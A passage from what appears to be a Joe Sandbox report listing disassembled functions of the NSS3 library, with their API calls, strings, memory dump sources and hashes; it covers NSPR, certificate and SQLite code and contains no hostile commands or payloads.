memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64112
malloc.MOZGLUE(00000000), ref: 6CF6411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF6414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64160
free.MOZGLUE(?), ref: 6CF6416C
malloc.MOZGLUE(?), ref: 6CF641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF64520), ref: 6CF64244
GetEnvironmentStrings.KERNEL32 ref: 6CF6424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF64263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF64283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF642E4
malloc.MOZGLUE(00000002), ref: 6CF642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF64342
GetStdHandle.KERNEL32(000000F6), ref: 6CF643AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF643B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF64403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64410

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF6445E
CloseHandle.KERNEL32(?), ref: 6CF6446B
free.MOZGLUE(?), ref: 6CF64482
free.MOZGLUE(00000000), ref: 6CF64492
free.MOZGLUE(00000000), ref: 6CF644A4
GetLastError.KERNEL32 ref: 6CF644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF644BE
free.MOZGLUE(?), ref: 6CF644C7
free.MOZGLUE(00000000), ref: 6CF644D5
free.MOZGLUE(00000000), ref: 6CF644EA

Strings

=, xrefs: 6CF644F8
D, xrefs: 6CF64396
NSPR_INHERIT_FDS=, xrefs: 6CF641E9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: c37668ef332c5076fd6544a03ecbc1fd0f70e9671266dae13b78f75bd6aec6c5
Instruction ID: f54b92d4f95c4e44251e18774ed342803beed8c137582eab21922d11cc03120a
Opcode Fuzzy Hash: c37668ef332c5076fd6544a03ecbc1fd0f70e9671266dae13b78f75bd6aec6c5
Instruction Fuzzy Hash: 9D02F675E043519FEB11EFAAC8A17AEBFB4AF06308F244129DC65A7F41D7319805CB91

Function 6CE76D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF7A8EC,0000006C), ref: 6CE76DC6
memcpy.VCRUNTIME140(?,6CF7A958,0000006C), ref: 6CE76DDB
memcpy.VCRUNTIME140(?,6CF7A9C4,00000078), ref: 6CE76DF1
memcpy.VCRUNTIME140(?,6CF7AA3C,0000006C), ref: 6CE76E06
memcpy.VCRUNTIME140(?,6CF7AAA8,00000060), ref: 6CE76E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE76E38

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE76E76
TlsGetValue.KERNEL32 ref: 6CE7726F
EnterCriticalSection.KERNEL32(?), ref: 6CE77283

Strings

!, xrefs: 6CE77123

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: fa54b2e63f4f1993030e2f9fc787d9a49fede04db1233feab8cb981f38f3c804
Instruction ID: 5163721c518f81a4579d008db6a31951d84d1b8c4f3190f251b43d3375566ff7
Opcode Fuzzy Hash: fa54b2e63f4f1993030e2f9fc787d9a49fede04db1233feab8cb981f38f3c804
Instruction Fuzzy Hash: D9729075D052199FDF61DF28CC8879ABBB5EF49308F2041A9E80DA7701E7319A85CFA1

Function 6CDE3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDE3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDE410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE449C

Strings

%s at line %d of [%.10s], xrefs: 6CDE4495, 6CDE44F9, 6CDE459E, 6CDE4769, 6CDE4809
database corruption, xrefs: 6CDE4490, 6CDE44F4, 6CDE4599, 6CDE4764, 6CDE4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE4452, 6CDE4486, 6CDE44EA, 6CDE4571, 6CDE4580, 6CDE458F, 6CDE475A, 6CDE47FA

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: a9e4793f7a3230503dfcf7d13797a9d9f679d5a31af731d908a32b9c1bbac368
Instruction ID: e44df5d2293b9e7b380724ab48d01d04f27c9015d669e93562b5f6185182915f
Opcode Fuzzy Hash: a9e4793f7a3230503dfcf7d13797a9d9f679d5a31af731d908a32b9c1bbac368
Instruction Fuzzy Hash: 9E827E75A00205DFCB04DFA9C480BAEB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6CEBAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEBACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEBACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEBACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEBAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEBADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBADF0

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEBB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEBB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEBB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEBB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBB40C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: ed4c25a619065f7c00f7bee75e633aa4ea7e4be636d2eace729957323c37690b
Instruction ID: 032a82c42c9c079d021c0d3634304410ab3609d6c4aa2708d228dcc6c6e9ab15
Opcode Fuzzy Hash: ed4c25a619065f7c00f7bee75e633aa4ea7e4be636d2eace729957323c37690b
Instruction Fuzzy Hash: B7227C71904301AFE710CF14CD85BAA77B1AF8430CF24856CE9596F7A2E772E859CB92

Function 6CE01F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE025F3

Strings

no tables specified, xrefs: 6CE026BE
too many references to "%s": max 65535, xrefs: 6CE02FB6
%s.%s.%s, xrefs: 6CE0302D
multiple recursive references: %s, xrefs: 6CE022E0
cannot have both ON and USING clauses in the same join, xrefs: 6CE032B5
unsafe use of virtual table "%s", xrefs: 6CE030D1
H, xrefs: 6CE0322D
'%s' is not a function, xrefs: 6CE02FD2
%s.%s, xrefs: 6CE02D68
too many columns in result set, xrefs: 6CE03012
a NATURAL join may not have an ON or USING clause, xrefs: 6CE032C1
access to view "%s" prohibited, xrefs: 6CE02F4A
cannot join using column %s - column not present in both tables, xrefs: 6CE032AB
no such index: "%s", xrefs: 6CE0319D
no such table: %s, xrefs: 6CE026AC
recursive reference in a subquery: %s, xrefs: 6CE022E5
table %s has %d values for %d columns, xrefs: 6CE0316C
H, xrefs: 6CE0329F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 476804dc3dd0ea5ba804e17a0019f16d65e05dcf4d7c7f4407560f2b1fa0ccec
Instruction ID: 056cc05259f8ef1076c2fa46912f5eb54f03fc55b5c301ddd700c91eb6f753b1
Opcode Fuzzy Hash: 476804dc3dd0ea5ba804e17a0019f16d65e05dcf4d7c7f4407560f2b1fa0ccec
Instruction Fuzzy Hash: 39D27B74F042098FDB04CF99C484B9DB7F2BF59308F3881A9D855ABB51D735A866CB90

Function 6CE3ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE3ED38

Part of subcall function 6CDD4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDD4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE3EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE3EFE4

Part of subcall function 6CEFDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDD5001,?,00000003,00000000), ref: 6CEFDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE3F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE3F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE3F1D1
sqlite3_free.NSS3(?), ref: 6CE3F368

Strings

snippet, xrefs: 6CE3EF05, 6CE3EF37, 6CE3EF7C
fts4, xrefs: 6CE3F2AD
porter, xrefs: 6CE3ED97
unicode61, xrefs: 6CE3EDB5
simple, xrefs: 6CE3ED79
fts3, xrefs: 6CE3F247
optimize, xrefs: 6CE3F199, 6CE3F1CC, 6CE3F211
fts4aux, xrefs: 6CE3ECF9
offsets, xrefs: 6CE3EFAF, 6CE3EFDF, 6CE3F01F
matchinfo, xrefs: 6CE3F04F, 6CE3F082, 6CE3F0C2, 6CE3F0F2, 6CE3F124, 6CE3F169
fts3tokenize, xrefs: 6CE3F30F
fts3_tokenizer, xrefs: 6CE3EE1A, 6CE3EEA8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3366568a7f7a7a6a0b0743241239e5e35465c7bb1d9135c95f59f3b69e54de56
Instruction ID: 3466b94ee3215d05e71868928776480dd49adba32fcdcd76e5ce9b1059148709
Opcode Fuzzy Hash: 3366568a7f7a7a6a0b0743241239e5e35465c7bb1d9135c95f59f3b69e54de56
Instruction Fuzzy Hash: 4502F0B2B147109BE7049F71A88172B36B1ABC520CF24953DD85E8BB11EB79F846C792

Function 6CEB7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEB7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEB7D1E

Part of subcall function 6CEB7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEB91C5), ref: 6CEB788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEB7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEB7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEB7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEB7E58

Part of subcall function 6CEB7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEB91C5), ref: 6CEB78BB
Part of subcall function 6CEB7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEB91C5), ref: 6CEB78FA
Part of subcall function 6CEB7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB7930
Part of subcall function 6CEB7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB7951
Part of subcall function 6CEB7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEB7964
Part of subcall function 6CEB7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB797A
Part of subcall function 6CEB7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEB7988
Part of subcall function 6CEB7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEB7998
Part of subcall function 6CEB7870: free.MOZGLUE(00000000), ref: 6CEB79A7
Part of subcall function 6CEB7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB79BB
Part of subcall function 6CEB7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEB91C5), ref: 6CEB79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEB7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEB7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEB8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEB8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEB8093
SECOID_FindOID_Util.NSS3 ref: 6CEB7F29

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEB8072
SECOID_FindOID_Util.NSS3 ref: 6CEB80F5

Part of subcall function 6CEBBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEB800A,00000000,?,00000000,?), ref: 6CEBBC3F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 2fb18f5f7134540dc36fb5086114e96ebaa54b053cf2da98a2e2a60071fe12ef
Instruction ID: 5e234b9befc2d7c1d52de88c827b75ed7af8f491d4f8349924212130d83311c4
Opcode Fuzzy Hash: 2fb18f5f7134540dc36fb5086114e96ebaa54b053cf2da98a2e2a60071fe12ef
Instruction Fuzzy Hash: 29E190716083019FE710CF28DA80B6A77F5AF4534CF24496DE99AABB51E731EC05CB62

Function 6CE41C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE41C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE41C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE41CA1
GetLengthSid.ADVAPI32(?), ref: 6CE41CA9
malloc.MOZGLUE(00000000), ref: 6CE41CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE41CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE41CE4
GetLengthSid.ADVAPI32(?), ref: 6CE41CEC
malloc.MOZGLUE(00000000), ref: 6CE41CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE41D0F
CloseHandle.KERNEL32(?), ref: 6CE41D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE41D4D
GetLastError.KERNEL32 ref: 6CE41D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE41D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE41D7A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 01dc930013e4dc746a5c0cb317081e32def7e503487553dbf6478b6fb78e2d3a
Instruction ID: 530097603c5e678263324d3681c0a27311751b506cb82df86fe5cdc275d47358
Opcode Fuzzy Hash: 01dc930013e4dc746a5c0cb317081e32def7e503487553dbf6478b6fb78e2d3a
Instruction Fuzzy Hash: FC3162B1E10218DFEF519FA4DC48BAABBB8EF49345F008065F60992250EB315994CF65

Function 6CE43D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE43DFB
__allrem.LIBCMT ref: 6CE43EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE43FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE44047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE4415F
__allrem.LIBCMT ref: 6CE4416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE44288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE442AB
__allrem.LIBCMT ref: 6CE442B7

Strings

%03d, xrefs: 6CE442E8
%lld, xrefs: 6CE43FB2
%04d, xrefs: 6CE4407B
%02d, xrefs: 6CE44086

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: cf89f73c4825ce57d539fb1ddcadec9b947f2dd680c87e3a7936a109fe604c46
Instruction ID: ead4740960c15910476295fa3c6611dd410ea978445fa03561faeebea80e4e4d
Opcode Fuzzy Hash: cf89f73c4825ce57d539fb1ddcadec9b947f2dd680c87e3a7936a109fe604c46
Instruction Fuzzy Hash: 2FF1F3B1A087409FD715CF38D841BAAB7F6AF86348F24CA1EE49597B51E730D846CB42

Function 6CE4EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4EF63

Part of subcall function 6CE587D0: PORT_NewArena_Util.NSS3(00000800,6CE4EF74,00000000), ref: 6CE587E8
Part of subcall function 6CE587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE4EF74,00000000), ref: 6CE587FD
Part of subcall function 6CE587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE5884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE4F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE4F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE4F374
PL_strcasecmp.NSS3(6CF92FD4,?), ref: 6CE4F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE4F4D2
